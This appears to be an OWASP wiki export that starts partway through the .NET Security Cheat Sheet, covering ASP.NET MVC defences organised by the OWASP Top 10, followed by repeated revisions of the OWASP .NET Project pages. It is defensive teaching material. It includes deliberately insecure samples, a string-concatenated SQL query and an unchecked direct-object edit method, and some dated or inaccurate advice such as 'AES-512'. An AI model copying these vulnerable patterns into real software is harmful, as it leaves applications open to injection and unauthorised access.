* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name</li>
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

NB: You will need to attach the anti-forgery token to Ajax requests.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br/>
Troy Hunt - troyhunt(at)hotmail.com<br/>
Jeremy Long - jeremy.long(at)owasp.org<br />

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:OWASP .NET Project]]

How to join Owasp.Net Mailing List

2017-05-26T03:13:05Z

Bill Sempf: More spacing

Go to the following page http://lists.owasp.org/mailman/listinfo/owasp-dotnet and fill out the section that says is titled "Subscribing to Owasp-dotnet".

<br>

[[Category:OWASP .NET Project]]

How to join Owasp.Net Mailing List

2017-05-26T03:09:55Z

Bill Sempf: Spacing I hope.

Go to the following page http://lists.owasp.org/mailman/listinfo/owasp-dotnet and fill out the section that says is titled "Subscribing to Owasp-dotnet".

[[Category:OWASP .NET Project]]

Category:OWASP .NET Project

2017-05-26T03:06:58Z

Bill Sempf: Navigation

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Category:OWASP .NET Project

2017-05-26T02:44:56Z

Bill Sempf: Still playing with dates.

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

=Joining the Project=
==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])
==Project Roadmap==
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].
* If you'd like to contribute:
# visit the [[Tutorial]],
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.
<br />
'''Remember to add the tag: <nowiki>[[Category:OWASP .NET Project]]</nowiki> to the end of new articles so that they're properly categorized.'''
<br />
=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Category:OWASP .NET Project

2017-05-26T02:43:53Z

Bill Sempf: Working on the dates.

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

